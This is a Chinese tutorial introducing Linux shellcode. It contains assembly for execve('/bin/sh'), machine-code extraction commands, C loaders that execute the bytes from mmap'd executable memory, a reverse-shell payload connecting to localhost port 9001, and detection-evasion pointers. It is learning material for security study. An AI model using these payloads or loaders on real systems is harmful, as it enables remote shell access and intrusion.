shellcode初探索记录
字数 1290 2025-08-24 07:48:34
Shellcode 初探与实战指南
1. Shellcode 基础概念
1.1 什么是 Shellcode
Shellcode 本质上是一段机器码,通常由汇编代码编译而成,用于执行特定的系统操作。它得名于最初用于获取 shell 的代码,但现在泛指任何用于利用漏洞的机器码。
1.2 Shellcode 与机器码的关系
- 机器码(Machine Code): CPU 直接执行的二进制指令
- 字节码(Byte Code): 虚拟机执行的中间代码
- Shellcode: 特定功能的机器码片段,通常用于漏洞利用
2. 编写简单的 Shellcode
2.1 汇编编写 execve("/bin/sh")
64位汇编示例:
section .data
bin_sh db '/bin/bash', 0x00 ; 字符串 "/bin/bash"
section .text
global _start
_start:
; 调用 execve("/bin/bash", ["/bin/bash"], NULL)
xor rax, rax ; 清除 rax
mov rdi, bin_sh ; rdi 指向 "/bin/bash"
push rax ; 在栈上压入 NULL (argv)
mov rsi, rsp ; rsi 指向 argv 数组
push rax ; 在栈上压入 NULL (envp)
mov rdx, rsp ; rdx 指向 envp 数组
mov al, 59 ; syscall 59 是execve
syscall ; 触发系统调用
32位汇编示例:
section .text
global _start
_start:
xor eax, eax ; 清空 eax 寄存器
push eax ; 压入 0 (NULL)
push 0x68732f6e ; 压入 "/sh"
push 0x69622f2f ; 压入 "//bin"
mov ebx, esp ; ebx 指向栈中的 "/bin/sh"
push eax ; 压入 NULL 作为 argv 的结束
mov edx, esp ; edx 指向 NULL (envp)
push ebx ; 压入 "/bin/sh"
mov ecx, esp ; ecx 指向 "/bin/sh" (argv)
mov al, 0xb ; 系统调用号 11 (execve)
int 0x80 ; 发起系统调用
2.2 编译汇编代码
64位编译:
nasm -f elf64 execve_shell.asm -o execve_shell.o
ld execve_shell.o -o execve_shell
32位编译:
nasm -f elf32 execve_shell.asm -o execve_shell.o
ld -m elf_i386 execve_shell.o -o execve_shell
2.3 提取机器码
使用 objdump 提取机器码:
objdump -d ./execve_shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
32位示例输出:
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
3. 在 C 程序中执行 Shellcode
3.1 基础方法(可能失败)
#include <stdio.h>
#include <string.h>
unsigned char code[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() {
printf("Shellcode Length: %d\n", strlen(code));
void (*shellcode_func)() = (void(*)())code;
shellcode_func();
}
问题:这种方法可能会因为内存权限问题导致段错误(Segmentation Fault),因为默认情况下存储 shellcode 的 .rodata 段可能没有执行权限。
3.2 正确方法:使用 mmap 分配可执行内存
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() {
// 使用 mmap 分配可执行内存
void *exec = mmap(0, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
if(exec == MAP_FAILED) {
perror("mmap failed");
return 1;
}
// 复制 Shellcode 到分配的内存
memcpy(exec, shellcode, sizeof(shellcode));
// 调用 Shellcode
((void(*)())exec)();
return 0;
}
编译32位版本:
gcc -m32 -o shellcode filename.c
3.3 关键点解析
-
mmap 参数:
PROT_READ | PROT_WRITE | PROT_EXEC: 设置内存为可读、可写、可执行MAP_ANON: 匿名映射,不关联文件MAP_PRIVATE: 私有映射,修改不写回文件
-
函数指针转换:
((void(*)())exec)();将分配的内存地址转换为函数指针并执行
4. 使用 msfvenom 生成 Shellcode
4.1 生成反弹 Shell 的 Shellcode
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x23\x29\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
void *exec = mmap(0, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
if(exec == MAP_FAILED) {
perror("mmap failed");
return 1;
}
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return 0;
}
5. 关键知识点总结
-
内存权限问题:
- 默认情况下,数据段(.rodata)没有执行权限
- 必须使用 mmap 或 mprotect 设置可执行权限
-
架构兼容性:
- 32位和64位汇编不同
- 编译时需要指定正确的架构参数(-m32)
-
Shellcode 编写技巧:
- 避免空字节(\x00),可能被字符串函数截断
- 使用相对地址而非绝对地址
- 尽量减小体积
-
调试技巧:
- 使用 gdb 调试 shellcode 执行
- 检查内存权限(/proc/[pid]/maps)
- 使用 strace 跟踪系统调用
6. 进阶方向
-
编码与混淆:
- 使用 XOR 或其他简单加密方式编码 shellcode
- 添加 NOP sled 提高命中率
-
规避检测:
- 分段加载 shellcode
- 动态生成 shellcode
-
高级利用技术:
- Return-Oriented Programming (ROP)
- Jump-Oriented Programming (JOP)
-
跨平台 Shellcode:
- Windows Shellcode 编写
- 跨架构 Shellcode 设计
通过本指南,您应该已经掌握了 Shellcode 的基本原理、编写方法和执行技术。请记住,这些知识仅应用于合法的安全研究和防御目的。